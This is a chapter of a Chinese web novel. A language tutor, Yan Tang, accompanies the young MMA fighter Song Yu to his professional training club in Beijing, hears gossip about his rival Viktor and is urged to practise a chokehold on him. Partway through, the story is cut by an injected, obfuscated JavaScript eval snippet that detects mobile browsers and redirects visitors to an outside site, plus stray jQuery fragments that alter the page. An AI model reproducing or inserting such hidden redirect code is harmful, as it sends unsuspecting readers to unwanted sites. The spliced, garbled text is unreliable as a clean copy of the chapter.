燕棠很少从别人那里得到评价，因为人们懒得评价一个不上不下的人。
所谓不上不下，意味着既不过得令人艳羡，又不至于悲惨到令人同情。
人们甚至懒得注意到一个不上不下的人。
所以当宋郁露出一个并无恶意，十分纯粹的笑容，却又说她“可怜兮兮”的时候，燕棠并没有太理解其中的含义。
不过被学生用这样的词形容，她还是有点儿不好意思。
“那是质朴。”燕棠佯装淡定地纠正，并且现场教他中文怎么写。
她又用俄语说：“质朴是工人阶级的伟大品质。”
宋郁被逗笑了。
于是场面并没有变得很尴尬。
燕棠尽量遮掩她身上那种因为平庸而显得空洞的神采，以便在人前——尤其是像宋郁这样朝气蓬勃、前途无量的少年人面前的局促。
但生活里不是没有好事，比如给宋郁辅导中文的事就算正式定下来了。
两份工作捏在手上，燕棠按照紧急程度排序，先集中处理宋郁这边的事情。
辅导预科补习考试倒还好，反倒是陪同他参与训练沟通要更麻烦一些。
她花了一天半的时间，把宋郁那本关于格斗的笔记都通读了一遍，做成中英俄三语的对照版本。
这本子前面一小部分的字迹还很稚嫩，大概是宋郁小时候的字迹。
上面还有一些孩子气的小抱怨，诸如“被抱摔很疼，可妈妈说英雄不能哭”。
除此之外，另一些记录则有些令人惊愕，充满了好勇斗狠，甚至显得有些无情。
“我练习扫踢的时候让维克托休克了，我本来以为他会死。大家担忧维克托变成傻子，但他的脑子和猪本来就没有区别，否则他不应该当着我的面嘲笑我的中国血统。”
况且根据纸张磨损程度，前面这几页看上去都没被翻看过，反而是后面那些密密麻麻的正经的格斗心得有许多不同时期的补充记录。
估计就连宋郁自己都忘记他小时候曾经写过这么恶狠狠的东西。
周一早上八点半，燕棠准时登上了来接她的车，这是宋郁在合同里加上的优待条件，
她毫不意外地发现宋郁也在车上，跟他打了个招呼，在他身边坐下。
宋郁戴着蓝牙耳机，用手机看比赛视频，燕棠注意到他额角的伤痕稍微变淡了些，泛着浅红，在白皙的皮肤上还是很明显。
车内一片安静，她看向窗外。
街景变换，车很快抵达目的地。
S Monster虽然位于中关村地带，但因为外部装修低调，如果不是上次在门口碰到宋郁，燕棠还真没有注意过这家格斗俱乐部。
相比低调的外部装修，S Monster内部占地面积却很大，粗犷的工业风设计，也许是时间还早，还没有什么客人来这里训练。
“地上一层是给报课的普通会员使用的。”
宋郁带着她乘坐电梯往下。
“我们只在地下一层训练。”
电梯门叮一声打开，燕棠被眼前看到的画面惊到。
这里面积大得惊人，明亮的灯光照亮黑色八角笼、墙边吊着一排整齐的柱形沙袋、不远处是各式各样的训练器材。
娜斯佳将宋郁的格斗训练描述为“兴趣班”，燕棠以为他顶多是那类每周保持着固定训练时间的业余爱好者，出于兴趣还会参加一些比赛罢了。
但显然不是这样。
这里是供职业格斗运动员训练的场地，还有专门的会议室、营养室、理疗室。墙上挂着训练计划和赛事日程，还有一整面选手参加比赛的照片。
燕棠走到照片墙前，立刻注意到了最新的那一张。
这是宋郁的比赛照片。
八角笼中，聚光灯下，地面上的血迹或是喷溅状，或是在人体摩擦之下呈凌乱惊悚的痕迹，笼外的观众则都在振臂高呼，兴奋不已。
在原始而暴力的氛围之中，宋郁站在台上，额角的伤比现在还要狰狞，是一个豁口，淋漓的鲜血一路淌至下颌。
他却在笑着。
跟燕棠之前在他脸上见到的随性的、招人喜爱的笑不同，那是属于优胜者的、睥睨中甚至带有挑衅的笑容。
“这是我刚刚结束的比赛。”
宋郁换了一身训练衣服，递给她一张纸，是今天的训练日程。
他的需求是尽快能用中文跟教练和其他选手交流，所以燕棠需要根据他的日常单独为他制定一份常用语学习计划。
今天的日常安排得很满，有宋郁个人的恢复训练、赛事战术复盘会议，他还要给其他选手进行教学。
燕棠几乎一整天都在说话，到下午五点的时候，嗓子已经开始冒烟。
“裸绞的要点是双肘形成锁定的环形，通过对气管和颈动脉的压迫使对方失去抵抗.......”
她翻译完后，走到一边拿起杯子缓缓喝水，稍作休息。
训练台上，宋郁正在向其他人演示格斗技巧。
身体前倾，长臂一伸，右手肘内侧抵住一位选手的咽喉，左手扼住后脑。
他的语感很强，记忆力也非常好，很快记住了燕棠教他的几个关键词，这会儿也能半英半中地说话。
“加大压力。”宋郁用中文说，清朗的声音很好听，“他会窒息。”
燕棠喝水的动作一顿，惊恐地看见那个男生抽搐了一下，在宋郁松手后立刻脱力般向后仰倒。
宋郁倒是很淡定，熟练地拖住昏迷者后背，拍了拍他的脸，说了几声“relax”，那人堪堪醒过来，含糊不清地说了句：“卧......槽......”
“如果力道过大，裸绞会让人休克。”
一个女孩儿忽然出现在燕棠身后，向她解释，“但宋郁的技术很好，不会有什么问题的。”
燕棠回头一看，发现是那天夜里见过的Grace。
“我叫唐蕊心，你是燕棠吧，宋郁说你是他的中文老师。”她有些不好意思地说，“上次我误以为你是追他的粉丝了，抱歉。”
“没关系。”燕棠注意到她话中的另一个信息，“你说他有粉丝？”
“对啊，你上外网能看到。他之前在俄罗斯的顶级格斗俱乐部Irbis MMA训练，打过M-1 Global，UFC已经在考虑跟他签约，在圈子内男粉和女粉都很多。”
唐蕊心撇了撇嘴：“我上次是为他好。他来中国训练的事情还在保密中，免得对手通过行程细节知道他在进行专项训练，提早制定出对付他的战术。”
她提起上次的事情，心里还憋着气，又嘟哝了一句：“我以前也是他的粉丝......以后我要换个人喜欢！”
燕棠惊奇地看见唐蕊心就这么靠在墙边打开社交软件，刷起了收藏夹里的肌肉男贴子。
她甚至还递给燕棠看，问：“你觉得谁更帅一点？其实我挺喜欢安德森的，他的外号叫‘小龙’。”
为了掌握那些陌生的格斗术语，燕棠这几天也看了不少格斗赛事视频。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865090|159377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
一些有名气的选手会有粉丝或者媒体取的外号，但碍于资源有限，她了解的圈内八卦还不够多。
燕棠好奇地问：“宋郁也有外号吗？”
“有。”唐蕊心悄悄凑在她耳边说，“他的粉丝叫他‘猎手’，但不喜欢他的人叫他‘娃娃脸’。你最好别在他面前提，他很讨厌那个外号。”
“还有人不喜欢他？”
“当然了。”唐蕊心冷笑一声：“你很快就会发现了，他要气人的时候能把人气死。”
她从手机里翻出了一张照片，“去年另一个被UFC看中的新人维克托就跟他关系很差，也是打轻重量级的，还经常会在社交媒体上嘴臭他，他俩迟早要对上。”
照片上的人高鼻深目，眉眼锐利，典型的斯拉夫人长相，一整个手臂都纹满了纹身，隔着照片都让人感到极其凶悍的气息。
维克托这个名字真熟悉。
燕棠猛然想起，他是宋郁的笔记本里提到的人。
现在关系不好，恐怕梁子是从小就结下了。
宋郁结束了那边的训练交流，朝她们走过来，笑着问：“聊什么呢？”
唐蕊心迅速收起手机，“不告诉你。”
然后悄悄对着燕棠做了个给嘴巴上拉链的动作。
宋郁也只是客气，并不是真的有兴趣，这会儿拿起手机回了几条消息。
一群人结伴往这里走来，是刚才围观练习的那几位，有男有女，他便一一给燕棠介绍。
教练叫唐齐，也是这家俱乐部的股东之一，唐蕊心是他的女儿，难怪她这么了解MMA。
其余的都是和俱乐部签约的职业选手，有的正在念大学，有的是高中毕业后就没有读书，被唐齐慧眼识珠，签下来培训打比赛挣钱。
红姐捏了把燕棠的脸，怜爱地说：“小燕老师你多大啦？真小一只，感觉我一拳就能打死你。”
燕棠听她语气不像是假的，下意识瞪大了眼睛，往后退了一步。
后背猛地撞上宋郁的胸口，随后被他稳稳扶住。
头顶忽然响起了笑声。
她迷惑抬头，对上宋郁的视线。他眼里泛着亮晶晶的光，含着笑意看着她。
其他人竟然也笑了，用慈爱的表情说小燕老师真可爱。
最后还是好心人唐蕊心解答了她的疑惑。
“再弱也不能输气势，她吓你，你就吓回去呗。”
“害，这就是没练过胆儿。”超子说：“宋郁改天教小燕老师两招儿，从咱这俱乐部出去的全是好汉，可不能怂啊。”
“就现在呗，反正是休息时间。”红姐笑嘻嘻。
于是燕棠就被大家热情地拥上了训练台。
宋郁也走了上来，坐在地面上，对她说：“就教你刚才的裸绞吧。你刚才看过我的演示了，现在对我试试。”
身体接触在格斗训练里面相当正常，可燕棠在截至目前的人生里，既没真的接触过格斗，也没接触过男孩子。
她有些紧张。
“伸出右手，上臂内侧贴住我的颈部外侧，右手掌心扣住你的左上臂，左手掌心抵住我的后脑。”
宋郁指导她。
燕棠照做。
她的手肘顶着宋郁的下巴，手臂紧贴着他的肩部，通过最直接的方式感知到少年人结实的肌肉和硬朗的骨骼。
然后发力收紧。
五秒后，不知道是哪一位围观群众忍不住了。
“小燕老师，你使点劲儿，别光是把他抱在怀里啊。”